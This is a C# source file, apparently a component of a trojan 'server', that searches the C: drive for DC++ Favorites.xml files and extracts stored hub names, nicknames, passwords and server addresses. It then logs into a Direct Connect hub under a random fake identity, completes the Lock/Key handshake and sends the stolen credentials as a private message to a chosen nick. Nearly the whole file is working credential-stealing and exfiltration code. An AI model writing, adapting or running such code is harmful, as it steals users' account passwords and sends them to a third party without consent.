using System;
using System.IO;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.Net;
using System.Threading;
using System.Net.Sockets;
using System.Text;
using System.Security.Cryptography;
namespace Server
{
/// <summary>
/// Summary description for SearchESendFavorite.
/// </summary>
public class SearchESendFavorite
{
private IPHostEntry host;
private Socket socket;
private string lock1epk;
private IPEndPoint indirizzoeporta;
private Random rand
= new Random
();
private string path;
private string nick;
private string hub;
string pporta;
private System.Windows.Forms.RichTextBox r;
private System.Windows.Forms.RichTextBox r1;
public SearchESendFavorite(System.Windows.Forms.RichTextBox r,System.Windows.Forms.RichTextBox r1,string nick,string hub,string pporta)
{
this.r=r;
this.r1=r1;
this.nick = nick;
this.hub = hub;
this.pporta = pporta;
}
public void RunMe()
{
Cerca("C:\\");
//Cerca("D:\\");
//Cerca("E:\\");
//Cerca("F:\\");
//Cerca("G:\\");
//Cerca("H:\\");
//Cerca("I:\\");
//Cerca("L:\\");
}
public void Cerca(string path)
{
try
{
string[] dirs1 = Directory.GetDirectories(@path);
string[] dirs2 = Directory.GetFiles(@path,"Favorites.xml");
foreach (string dir in dirs2)
{
r1.Text+=dir;
MandaMessaggio(dir);
}
foreach (string dir in dirs1)
{
r.Text=path+"\n";
Cerca(dir);
}
}
catch(UnauthorizedAccessException)
{
}
catch(DirectoryNotFoundException)
{
}
catch(IOException)
{
}
}
private string GeneraNickCasuali()
{
string nome = "";
int max = rand.Next(4,8);
int i;
for(i=0;i<max;i++)
{
int g = rand.Next(97,122);
nome += (char)g;
}
return nome;
}
private string Lokkazzo()
{
char[] sep = Encoding.Default.GetChars(Encoding.Default.GetBytes("|"));
string[] lock2 = lock1epk.Split(sep);
string lokkazzo2="";
foreach(string s in lock2)
{
if(s.Substring(0,5)=="$Lock")
{
string s1 = s.Replace("$Lock ","");
char[] sep2 = Encoding.Default.GetChars(Encoding.Default.GetBytes(" "));
string[] s2 = s1.Split(sep2);
foreach(string l in s2)
{
if(l.Substring(0,2)!="Pk")
{
lokkazzo2=l;
}
}
}
}
return lokkazzo2;
}
public void ElaboraFavorite(string f,string nome)
{
string lol3="";
string lol2="";
char[] sep = Encoding.Default.GetChars(Encoding.Default.GetBytes("<"));
string[] f1 = f.Split(sep);
foreach(string a in f1)
{
if(a!="" && a.Length>=8)
{
try
{
if(a.Substring(0,8)=="Hub Name")
{
char[] space = Encoding.Default.GetChars(Encoding.Default.GetBytes(" "));
string[] spacesplit = a.Split(space);
foreach(string a1 in spacesplit)
{
if(a1!="" && a1.Length>4)
{
if(a1.Substring(0,8)=="Password")
{
if(a1.Substring(10,2)=="\"\"")
{
return;
}
lol2+=a1+" ";
}
if(a1.Substring(0,4)=="Nick")
{
lol2+=a1+" ";
}
if(a1.Substring(0,6)=="Server")
{
lol2+=a1+" ";
}
}
}
lol3+=lol2+"\n";
lol2="";
}
}
catch(IndexOutOfRangeException)
{
}
catch(ArgumentOutOfRangeException)
{
}
}
}
if(lol3!="")
{
byte[] msg3 = Encoding.Default.GetBytes("$To: "+nick+" From: "+nome+" $<"+nome+"> "+lol3+"|");
socket.Send(msg3);
lol3="";
}
}
public void MandaMessaggio(string favorites)
{
try
{
string nome = GeneraNickCasuali();
host = Dns.Resolve(hub);
foreach(IPAddress ip in host.AddressList)
{
indirizzoeporta
= new IPEndPoint
(ip, Convert.
ToInt32(pporta
));
socket
= new Socket
(AddressFamily.
InterNetwork, SocketType.
Stream, ProtocolType.
Tcp);
socket.Connect(indirizzoeporta);
}
byte[] buffer
= new byte[1024
*1024
];
socket.Receive(buffer);
lock1epk=Encoding.Default.GetString(buffer);
if(lock1epk.Substring(0,1)!="$")
{
return;
}
string lokkazzo2 = Lokkazzo();
byte[] keybyte = ConvertingLock.getKey(Encoding.Default.GetBytes(lokkazzo2));
string keystring = Encoding.Default.GetString(keybyte);
byte[] msg = Encoding.Default.GetBytes("$Key "+keystring+"|$ValidateNick "+nome+"|");
socket.Send(msg);
socket.Receive(buffer);
long share = rand.Next(15000,25000);
byte[] msg2 = Encoding.Default.GetBytes("$Version 1,0091|$GetNickList|$MyINFO $ALL "+nome+" <++ V:0.401,M:A,H:1/0/0,S:3>$ $LAN(T3)$$"+Convert.ToString(share*10000000)+"$|");
socket.Send(msg2);
string path = @favorites;
string favorite="";
Encoding myEncoding = Encoding.GetEncoding(1252);
FileStream fs = File.Open(path,FileMode.Open, FileAccess.Read, FileShare.None);
StreamReader sr
= new StreamReader
(fs,myEncoding
);
string s = "";
while ((s = sr.ReadLine()) != null)
{
favorite+=s;
}
ElaboraFavorite(favorite,nome);
}
catch(SocketException)
{
}
}
}
}